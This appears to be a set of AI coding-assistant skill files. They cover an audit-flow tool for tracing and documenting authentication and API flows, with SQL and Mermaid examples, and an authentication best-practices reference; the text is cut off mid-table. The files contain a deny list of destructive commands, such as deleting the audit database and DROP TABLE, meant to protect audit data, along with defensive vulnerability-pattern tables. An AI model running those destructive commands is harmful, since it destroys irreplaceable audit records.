api-auth-audit\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow api-request\nEntry: \"Frontend makes authenticated API call\"\n```\n\n### Flow with Branching\n\n```\n[CODE]    fetch API         → apiClient.ts:45\n[AUTH]    check token       → authMiddleware.ts:12\n  ├─[BRANCHES: token valid]──→ [AUTH] proceed\n  └─[BRANCHES: token expired]──→ [AUTH] refresh token\n                                      │\n[AUTH]    refresh token     → tokenService.ts:88\n          │\n          └─[MERGES]──→ [API] call endpoint\n[API]     call endpoint     → handler.ts:156\n[DATA]    return response   → serializer.ts:23\n```\n\n### SQL for Branching\n\n```sql\n-- Create branch point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'check token', 'authMiddleware');  -- ID: 2\n\n-- Create branch targets\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'proceed', 'valid path'),          -- ID: 3\n(1, 'AUTH', 'refresh token', 'tokenService');  -- ID: 4\n\n-- Branch edges with conditions\nINSERT INTO edges (from_tuple, to_tuple, relation, condition) VALUES\n(2, 3, 'BRANCHES', 'token valid'),\n(2, 4, 'BRANCHES', 'token expired');\n\n-- Merge point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'API', 'call endpoint', 'handler');        -- ID: 5\n\n-- Merge edges\nINSERT INTO edges (from_tuple, to_tuple, relation) VALUES\n(3, 5, 'TRIGGERS'),\n(4, 5, 'MERGES');\n```\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n    subgraph DATA\n        T6[\"6. return response\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n    T5 -.->|\"READS\"| T6\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n    end\n```\n\n---\n\n## Case 1: Auth Login Flow (Security Audit)\n\n```\n> /audit-flow start\nName: auth-login-security\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow google-oauth\nEntry: \"User clicks Sign in with Google\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onClick handler         → src/components/LoginButton.tsx:24\n[AUTH]    OAuth redirect          → redirect to identity provider\n[NETWORK] GET /oauth/authorize    → IdP authorization endpoint\n[AUTH]    authz code received     → callback handler\n[NETWORK] POST /oauth/token       → token exchange\n[AUTH]    access_token issued     → {scopes, expiry, claims}\n[DATA]    JWT decoded             → extract org_id, user_id\n[CODE]    setSession()            → store token in memory/cookie\n[AUTH]    token in headers        → Authorization: Bearer\n[NETWORK] GET /api/me             → validate token backend\n[CODE]    middleware validates    → services/auth/middleware.go:56\n[DATA]    user context built      → {org, project, permissions}\n```\n\n### Security Checks\n\nMark as `concern` and create findings for:\n\n| Check         | What to look for                                            | Severity |\n| ------------- | ----------------------------------------------------------- | -------- |\n| Token storage | localStorage (bad) vs httpOnly cookie (good) vs memory (ok) | high     |\n| Token logging | console.log, error handlers leaking tokens                  | critical |\n| PKCE          | code_verifier/code_challenge present?                       | high     |\n| Refresh flow  | Refresh token rotation? Secure storage?                     | high     |\n| Token expiry  | Short-lived access tokens? Proper refresh?                  | medium   |\n| CORS          | Proper origin validation?                                   | medium   |\n\n### Sample Findings\n\n```sql\nINSERT INTO findings (session_id, severity, category, description, tuple_refs)\nVALUES\n('auth-login-security', 'high', 'token-storage',\n 'Access token stored in localStorage instead of httpOnly cookie - vulnerable to XSS', '[7]'),\n('auth-login-security', 'medium', 'token-logging',\n 'Token visible in Redux DevTools state - disable in production', '[7]');\n```\n\n---\n\n## Case 1b: Observations vs Flow Steps (Anti-Pattern)\n\n### Wrong: Chaining Observations as Tuples\n\nWhen you discover a security concern, do NOT create observation tuples chained with VALIDATES:\n\n```sql\n-- WRONG: These are analyst notes, not system actions\nINSERT INTO tuples (flow_id, layer, action, subject, status) VALUES\n(1, 'CODE', 'NO cross-tab sync', 'TabManager', 'concern'),          -- T10\n(1, 'AUTH', 'Replay attack possible', 'tokenService', 'concern');    -- T11\n\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (10, 11, 'VALIDATES');  -- WRONG: creates unreadable concern chain\n```\n\nThis produces diagrams where analyst notes are indistinguishable from system flow steps.\n\n### Correct: Use Findings\n\n```sql\n-- CORRECT: Observation recorded as a finding\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    'my-session', 1, 'medium', 'concurrency',\n    'No cross-tab synchronization: replay attack possible when multiple tabs refresh tokens simultaneously',\n    '[196, 226, 227]'  -- References the ACTUAL flow tuples where the issue manifests\n);\n```\n\nFindings appear in the Markdown export report, not cluttering the visual flow diagram.\n\n---\n\n## Case 2: Chat Question Flow (Documentation)\n\n```\n> /audit-flow start\nName: chat-documentation\nPurpose: documentation\nGranularity: coarse\n\n> /audit-flow flow question-to-results\nEntry: \"User submits question in chat UI\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onSubmit handler        → src/components/ChatInput.tsx\n[NETWORK] POST /api/chat/stream   → chat service\n[AUTH]    token validated         → middleware extracts org_id, project_id\n[API]     chat service receives   → services/chat/main.py\n[DATA]    load project context    → knowledge-base service\n[API]     agent invoked           → services/chat/agent/\n[DATA]    schema lookup           → get relevant tables/columns\n[CODE]    SQL generation          → agent node\n[NETWORK] POST /analytics/query   → analytics service\n[DATA]    query execution         → OLAP engine\n[DATA]    results transform       → format for frontend\n[NETWORK] SSE stream              → chunked response to frontend\n[CODE]    render results          → ChatMessage component\n```\n\n### Documentation Output\n\nThe export should produce:\n\n- Sequence diagram of service interactions\n- Data flow: question → SQL → results\n- Auth context propagation across services\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph Frontend\n        A[ChatInput.tsx]\n        M[ChatMessage]\n    end\n\n    subgraph Chat Service\n        B[POST /api/chat/stream]\n        C[Auth Middleware]\n        D[AI Agent]\n        E[SQL Generator]\n    end\n\n    subgraph Knowledge Service\n        F[Project Context]\n        G[Schema Lookup]\n    end\n\n    subgraph Analytics Service\n        H[POST /analytics/query]\n        I[OLAP Engine]\n    end\n\n    A -->|TRIGGERS| B\n    B -->|VALIDATES| C\n    C -->|TRIGGERS| D\n    D -->|READS| F\n    D -->|READS| G\n    D -->|TRIGGERS| E\n    E -->|TRIGGERS| H\n    H -->|READS| I\n    I -->|TRANSFORMS| M\n```\n\n---\n\n## Case 3: Flow Ideation (Design New Feature)\n\n```\n> /audit-flow start\nName: export-feature-design\nPurpose: ideation\nGranularity: coarse\n\n> /audit-flow flow csv-export\nEntry: \"User clicks Export to CSV on results\"\n```\n\n### Sketched Flow (no code yet)\n\n```\n[CODE]    export button click     → ExportButton component (to create)\n[API]     POST /api/export        → new endpoint needed\n[AUTH]    check export permission → new permission type?\n[DATA]    fetch cached results    → from Redis? or re-query?\n[CODE]    CSV formatter           → new util function\n[NETWORK] stream file download    → chunked response\n[CODE]    browser download trigger→ blob URL\n```\n\n### Ideation Questions (record as notes)\n\nAdd these as `notes` on relevant tuples:\n\n| Tuple                         | Question                                                   |\n| ----------------------------- | ---------------------------------------------------------- |\n| DATA: fetch cached results    | Cache strategy: Redis TTL? Re-query for freshness?         |\n| API: POST /api/export         | Rate limit exports? Per-user? Per-project?                 |\n| AUTH: check export permission | New permission: `project:export`? Or reuse `project:read`? |\n| NETWORK: stream file download | Large results: stream or paginate? Memory limits?          |\n| CODE: CSV formatter           | Support other formats? xlsx, json, parquet?                |\n\n### Design Decisions to Document\n\nAfter ideation, convert key decisions to implementation notes:\n\n```sql\nUPDATE tuples SET props = json_set(props, '$.decision', 'Use Redis with 15min TTL, re-query if expired')\nWHERE id = 4;\n\nUPDATE tuples SET props = json_set(props, '$.decision', 'Stream results, 10MB max per export')\nWHERE id = 6;\n```\n\n---\n\n## Static Analysis Guidelines\n\n**Code reading only. No runtime instrumentation.**\n\n### What to Follow\n\n- Import statements (module dependencies)\n- Function calls (especially cross-service)\n- API client invocations (fetch, axios, http clients)\n- Auth middleware chains (decorators, middleware arrays)\n- Data transformations (serializers, formatters)\n\n### Security Patterns to Flag\n\n| Pattern                             | Risk                | Severity |\n| ----------------------------------- | ------------------- | -------- |\n| `console.log(token)`                | Token leakage       | critical |\n| `localStorage.setItem('token',...)` | XSS vulnerability   | high     |\n| String concatenation in SQL         | SQL injection       | critical |\n| `dangerouslySetInnerHTML`           | XSS                 | high     |\n| Missing auth middleware             | Auth bypass         | critical |\n| Hardcoded secrets                   | Credential exposure | critical |\n| `eval()`, `new Function()`          | Code injection      | critical |\n","skills/audit-flow/SKILL.md":"---\nname: audit-flow\ndescription: Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.\nlicense: MIT\ncompatibility: Requires Python 3.8+ (stdlib only, zero dependencies). Optional pyyaml for YAML export. Git for merge/diff driver features.\nmetadata:\n  author: ArunJRK\n  version: \"1.0.0\"\n---\n\n## ⚠️ MANDATORY ENTRY POINT — Execute Before ANY Other Action\n\n**Step 1: Read schema.sql**\n\n```bash\n# ALWAYS read the schema first to understand tables, constraints, views\ncat .claude/skills/audit-flow/schema.sql\n```\n\n**Step 2: Check if DB exists — NEVER recreate**\n\n```bash\n# Check for existing database\nls -la .audit/audit.db 2>/dev/null && echo \"DB EXISTS - DO NOT RECREATE\" || echo \"No DB - safe to init\"\n```\n\n**Step 3: If DB exists, show current state**\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py list\n```\n\n### 🚫 FORBIDDEN ACTIONS\n\n| Action                                                | Why Forbidden            |\n| ----------------------------------------------------- | ------------------------ |\n| `rm .audit/audit.db`                                  | Destroys audit history   |\n| `audit.py init` when DB exists                        | Overwrites existing data |\n| `DROP TABLE`                                          | Destroys audit history   |\n| `sqlite3 .audit/audit.db < schema.sql` when DB exists | Overwrites existing data |\n\n**Rule:** If `.audit/audit.db` exists, ONLY use `audit.py list`, `show`, `export`, or INSERT operations. NEVER recreate.\n\n---\n\n# Audit Flow\n\nInteractive tracing of system flows with SQLite persistence. Supports multiple named flows per session, non-linear flows (branching/merging), and multi-format exports.\n\n## Organization Principles\n\n**Directory structure by purpose:**\n\n- **Audits/Documentation/Compliance:** `docs/audits/{name}-{YYYY-MM-DD}/`\n- **Ideation/Brainstorming:** `docs/ideation/{name}-{YYYY-MM-DD}.md` (single file, no subdirectory unless artifacts needed)\n- **Debugging/Incident Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures evidence)\n- **Architecture Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures structural analysis)\n\n**Required files:**\n\n- INDEX.md (manifest, entry point)\n- README.md (executive summary)\n- {name}-audit.md (flow trace)\n\n**Lazy initialization:** Create subdirectories only when artifacts exist\n\n- `screenshots/` `network-traces/` `diagrams/` `code-samples/` `test-results/` `evidence/`\n\n**Naming:** `{audit-name}-{type}.md`\n\n## DB-First Discipline\n\n**Invariant:** SQLite = sole source of truth. Context window: volatile, compacts without notice, hallucinates state.\n\n**🚨 CRITICAL: NEVER DESTROY EXISTING DATA**\n\n- If `.audit/audit.db` exists → it contains irreplaceable audit history\n- NEVER run `init` when DB exists — use `list` to see what's there\n- NEVER delete, drop, or recreate — only append\n\n**Constraints:**\n\n| Operation   | Rule                                                                                      | Blocked rationalization              |\n| ----------- | ----------------------------------------------------------------------------------------- | ------------------------------------ |\n| **Entry**   | Read `schema.sql` FIRST, check if DB exists SECOND                                        | \"I'll just start working\"            |\n| **Init**    | ONLY if `.audit/audit.db` does NOT exist                                                  | \"Let me reinitialize to start fresh\" |\n| Schema      | Read `schema.sql` BEFORE any SQLite command — understand tables, constraints, views first | \"I know the schema from context\"     |\n| Write       | INSERT each tuple/edge/finding before moving to the next code location                    | \"I'll batch-insert at the end\"       |\n| Read        | SELECT from DB before referencing tuple IDs, counts, or flow structure                    | \"I remember the flow so far\"         |\n| Export      | `audit.py export` only — never generate mermaid/markdown from context                     | \"Let me generate mermaid directly\"   |\n| Resume      | `audit.py show <session>` before any operation that references prior tuples               | \"I have the full trace in context\"   |\n| Reference   | Query tuple IDs from DB — IDs are DB-assigned, never inferred                             | \"The tuple ID should be N\"           |\n| **Default** | **When uncertain of flow state → query DB before proceeding**                             | _(any unlisted rationalization)_     |\n\n**Checkpoint:** Every 5 tuples → `audit.py show <session> <flow>`\n\n---\n\n## Interactive Workflow - ALWAYS ASK USER\n\n### 1. Session Start - Ask:\n\n```\nName: ___\nPurpose: security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\nDescription: ___ (optional)\n```\n\nInitialize directory immediately. Lazily create subdirectories when artifacts are generated.\n\n### 2. Granularity - Ask:\n\n```\n[fine]   Function-level trace (~50-200 tuples)\n         Use: Security audits, debugging\n\n[coarse] Boundary-level trace (~10-30 tuples)\n         Use: Documentation, high-level flows\n\nChoose: fine / coarse\n```\n\n### 3. During Trace:\n\nAsk at decision points: trace deeper? mark concern? add finding (severity)? note?\n\n### 4. On Export:\n\nAsk format: `json | yaml | md | mermaid | all`\n\nPost-export: Generate INDEX.md manifest. Organize artifacts by type. Prune empty directories.\n\n## Quick Reference\n\n| Command                              | Purpose                                        |\n| ------------------------------------ | ---------------------------------------------- |\n| `/audit-flow start`                  | New session (name, purpose, granularity)       |\n| `/audit-flow flow {name}`            | Add new flow to session                        |\n| `/audit-flow add {layer} {desc}`     | Add tuple to current flow                      |\n| `/audit-flow link {from} {to} {rel}` | Create edge (supports conditions for branches) |\n| `/audit-flow finding {desc}`         | Record finding                                 |\n| `/audit-flow show`                   | View session/flow details                      |\n| `/audit-flow export`                 | Export (json/yaml/md/mermaid)                  |\n| `/audit-flow git-setup`              | Configure git merge/diff drivers (once)        |\n\n**Layers:** `CODE` | `API` | `NETWORK` | `AUTH` | `DATA`\n\n**Relations:** `TRIGGERS` | `READS` | `WRITES` | `VALIDATES` | `TRANSFORMS` | `BRANCHES` | `MERGES`\n\n## Semantic Rules for Relations\n\n| Relation     | Meaning                      | Use When                                      | NOT For                       |\n| ------------ | ---------------------------- | --------------------------------------------- | ----------------------------- |\n| `TRIGGERS`   | A causes B to execute        | Function calls, event handlers, HTTP requests | Static observations           |\n| `READS`      | A consumes data from B       | Cookie reads, DB queries, config lookups      | Mutations                     |\n| `WRITES`     | A mutates data in B          | Cookie writes, DB inserts, state updates      | Read-only access              |\n| `VALIDATES`  | A checks/verifies B          | Auth checks, input validation, expiry checks  | Chaining analyst observations |\n| `TRANSFORMS` | A converts/maps data for B   | Token exchange, response formatting           | Unrelated processing          |\n| `BRANCHES`   | A has conditional paths      | if/else, switch, error vs success             | **Must have condition label** |\n| `MERGES`     | Multiple paths converge at B | Parallel paths rejoin, error recovery         | Single-path flow              |\n\n**CRITICAL: BRANCHES Must Have Conditions.** Every BRANCHES edge requires a `condition` describing which path. Example: `BRANCHES [token expired]` vs `BRANCHES [token valid]`.\n\n## Observations vs Flow Steps\n\n**Flow steps** = things the SYSTEM DOES (function calls, data reads, network requests). Verified by tracing code.\n\n**Observations** = things the ANALYST NOTES (missing features, potential risks). Record as **findings**, not tuples.\n\n**Wrong pattern:**\n\n```\nT50 \"NO cross-tab sync\"       ← observation, not a system action\nT51 \"React state NOT shared\"  ← observation\nT50 --VALIDATES--> T51         ← chaining observations as flow\n```\n\n**Correct pattern:**\n\n```sql\n-- Record as finding instead:\nINSERT INTO findings (flow_id, session_id, severity, category, description)\nVALUES (?, ?, 'medium', 'state-management',\n        'No cross-tab sync: React state not shared across tabs');\n```\n\n**Rule:** NEVER chain observations with VALIDATES. If describing what the system DOESN'T do, use a finding.\n\n## Data Model\n\n```\nSession (audit container)\n  └── Flow (named DAG with entry point)\n       └── Tuple (node: layer + action + subject)\n            └── Edge (relation + optional condition)\n```\n\n## Storage & CLI\n\n```bash\n# Core\npython .claude/skills/audit-flow/scripts/audit.py init              # Initialize DB\npython .claude/skills/audit-flow/scripts/audit.py list              # List sessions\npython .claude/skills/audit-flow/scripts/audit.py show <session>    # Show flows\npython .claude/skills/audit-flow/scripts/audit.py show <session> <flow>  # Show flow details\npython .claude/skills/audit-flow/scripts/audit.py export <session>  # Export all\npython .claude/skills/audit-flow/scripts/audit.py export <session> -f <flow>  # Export one flow\npython .claude/skills/audit-flow/scripts/audit.py validate <session>         # Validate flows\n\n# Git integration\npython .claude/skills/audit-flow/scripts/audit.py git-setup         # Configure merge/diff drivers (once)\npython .claude/skills/audit-flow/scripts/audit.py db-merge %O %A %B # Git merge driver (auto-called)\n\n# CSV backup/portability (optional)\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # .audit/csv/*.csv → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge two CSV sets\n```\n\n## Non-Linear Flows\n\n**Branching:** One tuple → multiple outgoing edges with conditions\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES (5, 6, 'BRANCHES', 'token valid'),\n       (5, 7, 'BRANCHES', 'token expired');\n```\n\n**Merging:** Multiple tuples → one tuple\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (6, 8, 'TRIGGERS'),\n       (9, 8, 'MERGES');  -- refresh path merges back\n```\n\n## Files\n\n- [scripts/audit.py](scripts/audit.py) - CLI for all commands (init, list, show, export, validate, db-merge, git-setup, csv-\\*)\n- [COMMANDS.md](COMMANDS.md) - Detailed SQL reference\n- [EXAMPLES.md](EXAMPLES.md) - Full examples with non-linear flows\n- [schema.sql](schema.sql) - Database schema\n- `.gitattributes` - Git merge/diff driver config for audit.db\n\n## Git Context\n\nCapture on session start: commit hash, branch, working tree status. Include in all exports.\n\n## Mermaid Validation\n\nRun `python .claude/skills/audit-flow/scripts/audit.py validate <session>` before export.\n\n| Check                      | Severity | Description                                     |\n| -------------------------- | -------- | ----------------------------------------------- |\n| BRANCHES without condition | ERROR    | Every BRANCHES edge needs a condition label     |\n| Node count >= 60           | ERROR    | Split into sub-flows                            |\n| Node count >= 40           | WARN     | Consider splitting                              |\n| Orphan nodes               | WARN     | Node with no edges (disconnected)               |\n| Duplicate labels           | WARN     | Same action text without subject disambiguation |\n| No entry point             | WARN     | All nodes have incoming edges                   |\n\n**Post-export features (automatic):**\n\n- **Step numbers**: BFS topological order from entry point (`1. action`, `2. action`)\n- **Entry point**: Stadium shape with green styling\n- **Edge arrows**: `-->` solid (TRIGGERS/VALIDATES/TRANSFORMS/BRANCHES/MERGES), `-.->` dotted (READS), `==>` thick (WRITES)\n- **Observations**: Separated into dashed-border OBSERVATIONS subgraph\n- **Direction**: `--direction LR` flag for horizontal layouts\n\n## Diagram Readability Requirements\n\n**All diagrams MUST be produced by `audit.py export`.** Never hand-craft mermaid. The exporter enforces:\n\n1. **Entry point marker** — Green stadium-shape node `([label]):::entryPoint`\n2. **Step numbers** — BFS topological order: `1. action`, `2. action`, `3. action`\n3. **Legend block** — classDef styles for entryPoint, concern, observation\n4. **Observation separation** — Concern-only chains go to OBSERVATIONS subgraph, not main flow\n5. **Label safety** — HTML entities for `()`, `\"\"`, `<>`, `|`, `[]` characters (auto-sanitized)\n\n**Reading flow must be obvious.** A reader opening the diagram cold must immediately see:\n\n- WHERE to start (green entry node)\n- WHAT ORDER to read (step numbers)\n- WHICH PATH is happy vs error (branch conditions on edges)\n- WHAT THE COLORS MEAN (legend)\n\n**Node label rules:**\n\n- Use concrete nouns/verbs: `handleCallback()`, `exchangeCodeForTokens()`\n- NOT bare verbs: ~~\"Configure\"~~, ~~\"Select\"~~, ~~\"Enable\"~~\n- Disambiguate duplicates: auto-suffixed with subject when action repeats\n\n**Size limits:**\n\n- 40+ nodes → warning, consider splitting\n- 60+ nodes → error, MUST split into sub-flows\n- If flow has 5+ independent sub-flows → split by purpose\n\n---\n\n## Git Workflow — Custom Merge Driver\n\n**Problem:** SQLite is binary — `git merge` can't auto-resolve `.audit/audit.db`.\n\n**Solution:** Custom git merge driver. `audit.db` stays in git (small, single file). On conflict, git calls `audit.py db-merge` to auto-merge using SQL.\n\n### One-Time Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nThis configures (in `.git/config`):\n\n- **Merge driver:** `merge.sqlite-audit` — calls `audit.py db-merge %O %A %B` on conflict\n- **Diff driver:** `diff.sqlite` — `sqlite3 .dump` for readable `git diff` output\n\nAlso requires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How It Works\n\n1. You commit `audit.db` normally — `git add .audit/audit.db && git commit`\n2. `git diff` shows SQL text (via textconv)\n3. On `git merge` with conflict → git calls the merge driver automatically\n4. Driver opens both DBs, merges sessions by name (later `updated_at` wins), remaps IDs\n5. Result written to ours — merge completes cleanly\n\n### Merge Strategy\n\n| Table    | Merge Key                               | Conflict Resolution               |\n| -------- | --------------------------------------- | --------------------------------- |\n| sessions | `name` (unique)                         | Keep later `updated_at`           |\n| flows    | `(session_name, flow_name)`             | Follow parent session winner      |\n| tuples   | Parent flow                             | All tuples from winning flow kept |\n| edges    | Both endpoint tuples                    | Kept if both endpoints survive    |\n| findings | `(session_name, category, description)` | Dedup by content                  |\n\nAll INTEGER PKs remapped sequentially. Foreign keys updated.\n\n### CSV Backup (Optional)\n\nCSV export/import still available for portability and backup:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export   # DB → .audit/csv/*.csv (QUOTE_ALL)\npython .claude/skills/audit-flow/scripts/audit.py csv-import   # CSV → DB (recreates from scratch)\n```\n\n---\n\n## Output Quality\n\n**Principles:**\n\n- ASCII sequence diagrams for complex flows\n- Side-by-side tables for alternatives\n- Real code from traced files with `file:line` references\n- What/Why/Example pattern\n- No generic templates\n\n## Completion Checklist\n\n- [ ] Directory exists with ISO date suffix\n- [ ] INDEX.md manifest generated\n- [ ] README.md (executive summary)\n- [ ] Naming convention: `{name}-{type}.md`\n- [ ] Artifacts in typed subdirectories (lazy init)\n- [ ] Git context captured\n- [ ] Git merge driver configured (`audit.py git-setup`)\n- [ ] No orphaned files\n- [ ] Diagrams pass `audit.py validate`\n\n## Anti-Patterns\n\nFlat structure, empty directories, orphan nodes, unlabeled branches, generic identifiers, missing git context, no manifest, hand-crafted mermaid, bare-verb labels.\n","skills/authentication-patterns/SKILL.md":"---\nname: authentication-patterns\ndescription: \"Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.\"\n---\n\n# Authentication Patterns Skill\n\nReference for implementing secure, production-ready authentication.\n\n## WHEN_TO_USE\n\nApply this skill when implementing authentication in a project, reviewing existing auth flows for security issues, choosing between auth providers, or migrating between auth strategies. Use the security checklist before shipping any auth-related change.\n\n## AUTH_APPROACHES\n\n| Approach | How It Works | Best For | Drawbacks |\n|----------|-------------|----------|-----------|\n| Session-based | Server stores session in DB/Redis, client holds session ID cookie | Traditional server-rendered apps, apps needing instant revocation | Requires server-side storage, harder to scale horizontally without shared store |\n| JWT (stateless) | Server signs token, client sends it on each request | API-first apps, microservices, mobile clients | Cannot revoke without blocklist, token size grows with claims |\n| OAuth 2.0 / OIDC | Delegates auth to external provider (Google, GitHub, etc.) | Social login, enterprise SSO, reducing auth responsibility | More complex flow, depends on external provider availability |\n| Passkeys / WebAuthn | Cryptographic key pair, no passwords | High-security apps, passwordless UX | Limited browser support legacy, user education needed |\n\n### Decision Guide\n\n- **Server-rendered app with simple needs** → Session-based\n- **SPA or mobile app calling APIs** → JWT with refresh token rotation\n- **Want social login or SSO** → OAuth 2.0 / OIDC\n- **Greenfield with modern UX goals** → Passkeys + OAuth fallback\n\n## JWT_BEST_PRACTICES\n\n### Token Lifecycle\n\n```\nLogin → Access Token (short-lived) + Refresh Token (long-lived, rotated)\n  │\n  ├─ Access Token: 15 min expiry, sent via httpOnly cookie or Authorization header\n  │\n  └─ Refresh Token: 7-30 day expiry, stored in httpOnly secure cookie\n       │\n       └─ On use: issue new access + new refresh token, invalidate old refresh token\n```\n\n### Rules\n\n- [P0-MUST] Set short expiry on access tokens (15 minutes or less).\n- [P0-MUST] Store tokens in `httpOnly`, `Secure`, `SameSite=Lax` cookies — never in `localStorage` or `sessionStorage`.\n- [P0-MUST] Implement refresh token rotation — each refresh token is single-use.\n- [P0-MUST] Maintain a server-side blocklist for revoked refresh tokens.\n- [P1-SHOULD] Include only essential claims in JWT payload (sub, iat, exp, role). Keep it small.\n- [P1-SHOULD] Use asymmetric signing (RS256 or ES256) for distributed systems; symmetric (HS256) for single-service only.\n- [P1-SHOULD] Validate `iss`, `aud`, and `exp` claims on every request.\n- [P2-MAY] Use JWE (encrypted JWT) when token payload contains sensitive data.\n\n### Token Storage Comparison\n\n| Storage | XSS Safe | CSRF Safe | Recommendation |\n|---------|----------|-----------|----------------|\n| `httpOnly` cookie | Yes | No (needs CSRF token) | Recommended |\n| `localStorage` | No | Yes | Never use for auth tokens |\n| `sessionStorage` | No | Yes | Never use for auth tokens |\n| In-memory (JS variable) | Yes | Yes | OK for SPAs, lost on refresh |\n\n## PROVIDER_PATTERNS\n\n### Comparison\n\n| Provider | Type | Best For | Pricing | Key Features |\n|----------|------|----------|---------|-------------|\n| NextAuth / Auth.js | OSS library | Next.js apps wanting full control | Free | 80+ providers, DB adapters, self-hosted |\n| Clerk | Managed service | Fast launch, pre-built UI, user management | Free tier, then per-MAU | Drop-in components, user dashboard, org support |\n| Supabase Auth | Managed (part of Supabase) | Apps already using Supabase for DB/storage | Free tier, then per-MAU | Row-level security integration, magic links, SSO |\n| Lucia | OSS library | Full control, minimal abstraction | Free | Session-based, framework-agnostic, type-safe |\n\n### When to Use Each\n\n- **NextAuth / Auth.js**: You want provider flexibility, self-hosting, and database session control. Best when you need custom flows.\n- **Clerk**: You want auth done fast with pre-built UI components. Best for MVPs and teams that don't want to build auth UI.\n- **Supabase Auth**: You're already using Supabase. Auth integrates with RLS policies for row-level security.\n- **Lucia**: You want a minimal, type-safe session library without framework lock-in.\n\n### NextAuth.js Setup Pattern\n\n```typescript\n// app/api/auth/[...nextauth]/route.ts\nimport NextAuth from \"next-auth\";\nimport GitHub from \"next-auth/providers/github\";\nimport { PrismaAdapter } from \"@auth/prisma-adapter\";\nimport { prisma } from \"@/lib/prisma\";\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    GitHub({\n      clientId: process.env.GITHUB_CLIENT_ID!,\n      clientSecret: process.env.GITHUB_CLIENT_SECRET!,\n    }),\n  ],\n  callbacks: {\n    session({ session, user }) {\n      session.user.id = user.id;\n      return session;\n    },\n  },\n});\n```\n\n## SECURITY_CHECKLIST\n\n### Before Shipping Auth\n\n- [ ] **Rate limiting**: Login endpoint limited to 5-10 attempts per minute per IP.\n- [ ] **CSRF protection**: Anti-CSRF tokens on all state-changing requests (or use `SameSite=Lax` cookies).\n- [ ] **Password hashing**: Using bcrypt (cost 12+) or argon2id — never MD5, SHA-1, or plain SHA-256.\n- [ ] **HTTPS only**: All auth endpoints served over TLS. Cookies have `Secure` flag.\n- [ ] **Input validation**: Email format, password length (min 8, max 128), no SQL/NoSQL injection vectors.\n- [ ] **Account enumeration**: Login and registration return the same response whether account exists or not.\n- [ ] **Session invalidation**: Logout invalidates server-side session/refresh token, not just client cookie.\n- [ ] **MFA support**: TOTP (authenticator app) or WebAuthn as second factor for sensitive accounts.\n- [ ] **Password reset**: Time-limited tokens (1 hour), single-use, sent over secure channel.\n- [ ] **Audit logging**: Log auth events (login, logout, failed attempts, password changes) with timestamp and IP.\n\n### Password Hashing\n\n```typescript\n// Using bcrypt\nimport bcrypt from \"bcrypt\";\n\nconst SALT_ROUNDS = 12;\n\nasync function hashPassword(password: string): Promise<string> {\n  return bcrypt.hash(password, SALT_ROUNDS);\n}\n\nasync function verifyPassword(password: string, hash: string): Promise<boolean> {\n  return bcrypt.compare(password, hash);\n}\n```\n\n```typescript\n// Using argon2 (preferred for new projects)\nimport argon2 from \"argon2\";\n\nasync function hashPassword(password: string): Promise<string> {\n  return argon2.hash(password, { type: argon2.argon2id });\n}\n\nasync function verifyPassword(hash: string, password: string): Promise<boolean> {\n  return argon2.verify(hash, password);\n}\n```\n\n## COMMON_MISTAKES\n\n| Mistake | Risk | Fix |\n|---------|------|-----|\n| Storing JWT in `localStorage` | XSS can steal tokens | Use `httpOnly` cookies |\n| Long-lived JWTs (days/weeks) | Stolen token is valid for extended period | 15 min access token + refresh rotation |\n| Missing CSRF protection | Attackers can forge requests from other sites | `SameSite=Lax` cookies + CSRF token |\n| Weak password requirements | Brute force and credential stuffing | Min 8 chars, check against breached password lists |\n| Exposing user existence on login | Account enumeration | Generic \"Invalid credentials\" message |\n| Not rotating refresh tokens | Stolen refresh token grants indefinite access | Single-use refresh tokens with rotation |\n| Hardcoding secrets in source | Credential leak via git history | Use environment variables, never commit secrets |\n| Missing rate limiting on login | Brute force attacks | 5-10 